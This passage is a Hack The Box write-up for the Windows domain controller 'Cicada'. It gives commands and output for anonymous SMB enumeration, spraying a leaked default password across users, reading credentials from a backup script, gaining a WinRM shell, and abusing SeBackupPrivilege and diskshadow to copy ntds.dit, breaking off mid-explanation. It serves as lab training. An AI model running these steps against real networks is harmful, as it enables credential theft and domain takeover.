Cicada
AD Machine with SeBackupPrivilege Enabled
| Machine Link | https://app.hackthebox.com/machines/Cicada |
|---|---|
| Operating System | Windows (Active Directory) |
| Difficulty | Easy |
| Machine Created by | theblxckcicada |
Port Scan Results ⤵️
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ sudo nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt -Pn 10.10.11.35
Nmap scan report for 10.10.11.35
Host is up, received user-set (0.20s latency).
Scanned at 2024-10-09 15:10:35 IST for 491s
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-10-09 16:47:07Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
53875/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-10-09T16:48:07
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 43674/tcp): CLEAN (Timeout)
| Check 2 (port 28298/tcp): CLEAN (Timeout)
| Check 3 (port 62917/udp): CLEAN (Timeout)
| Check 4 (port 65105/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h00m00s
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
SMB Enumeration ⤵️
I checked for the null user/password as an authentication for SMB server through netexec and I got the domain name as cicada.htb.
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ nxc smb 10.10.11.35 -u '' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\:
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
Now Lets look for a user authentication in this case I will be using Anonymous as a guest user to check for any shares enabled for that user or not.
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nxc smb 10.10.11.35 -u 'Anonymous' -p '' --shares
Let’s access this HR share with smbclient Tool 🔻
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ smbclient //10.10.11.35/HR -U 'Anonymous'
Password for [WORKGROUP\Anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 17:59:09 2024
.. D 0 Thu Mar 14 17:51:29 2024
Notice from HR.txt A 1266 Wed Aug 28 23:01:48 2024
4168447 blocks of size 4096. 308256 blocks available
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \> exit
Lets look inside this Notice from HR.txt file 🔻
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Let’s gather some users as this Anonymous user also got access to read $IPC share that means , It can also enumerate users and groups from this netexec Tool only.
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nxc smb 10.10.11.35 -u 'Anonymous' -p '' --rid-brute
I separated all the users in a file named as users.txt file. Now lets check which user hash this password Cicada$M6Corpb*@Lp#nZp!8.
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nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success --shares
I got these share while checking this user michael.wrightson 🔻
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nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
Lets also enumerate some users properly with the netexec Tool flag functionality of --users that extract the users and its descriptions.
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nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
I got the creds for user david.orelious so lets see its share now , I think now that user can access share DEV .
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nxc smb 10.10.11.35 -u 'david.orelious' -p '<PASSWORD>' --shares
Lets see what inside this share DEV.
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ smbclient //10.10.11.35/DEV -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Oct 9 21:46:35 2024
.. D 0 Thu Mar 14 17:51:29 2024
Backup_script.ps1 A 601 Wed Aug 28 22:58:22 2024
ZxbFGRMvap D 0 Wed Oct 9 21:46:04 2024
4168447 blocks of size 4096. 308251 blocks available
smb: \> prompt off
smb: \> mget *
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \> cd ZxbFGRMvap
smb: \ZxbFGRMvap\> ls
. D 0 Wed Oct 9 21:46:04 2024
.. D 0 Wed Oct 9 21:46:35 2024
4168447 blocks of size 4096. 308249 blocks available
smb: \ZxbFGRMvap\> cd ..
smb: \> exot
exot: command not found
smb: \> exit
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "<PASSOWRD>" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Since I got the password for user emily.oscars from the backup_script.ps1 file, Lets see if I can have a winrm session with that or now or wait lets check all the creds with winrm session and for that I am gona save the usernames in user.txt file and passwords in pass.txt file with respective positions.
Now with netexec Tools lets check 🔻
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nxc winrm 10.10.11.35 -u user.txt -p pass.txt --no-bruteforce --continue-on-success
Winrm session enabled on user emily.oscars
Winrm Session ⤵️
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┌──(kali🔥kali)-[~/Downloads/HTB/Cicada]
└─$ evil-winrm -i 10.10.11.35 -u emily.oscars -p '<PASSWORD>'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> whoami
cicada\emily.oscars
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> hostname
CICADA-DC
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> tree /f /a
Folder PATH listing
Volume serial number is 1B60-8905
C:.
| NTUSER.DAT
|
+---Desktop
| user.txt
|
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
\---Videos
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
3f629d1d79f940db2d88b0172b2d9126
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop>
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*Evil-WinRM* PS C:\Users> net user emily.oscars
Part of Backup Operators Group member
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> mkdir C:\Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/9/2024 10:24 AM Temp
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos> Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Opening input file. - The process cannot access the file because it is being used by another process. (Exception from HRESULT: 0x80070020)
At line:1 char:1
+ Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception
+ FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Videos>
Since the The process cannot access the file because it is being used by another process. I have to use another alternative process to access this ntds.dit file with the help of diskshadow method.
This is the script for diskshadow that is back_script.txt file 🔻
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set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Here’s a simple explanation of each line of the diskshadow script:
set verbose on: This turns on detailed logging, so the script’s actions will be displayed more clearly.
set metadata C:\Windows\Temp\meta.cab: The script saves metadata (information about the shadow copy) to a file called
meta.cabin theC:\Windows\Tempdirectory.set context clientaccessible: This makes the shadow copy accessible to clients (i.e., it can be used for backup purposes by applications).
set context persistent: This keeps the shadow copy persistent, meaning it won’t be automatically deleted after use.
begin backup: Marks the start of the backup process.
add volume C: alias cdrive: Adds the
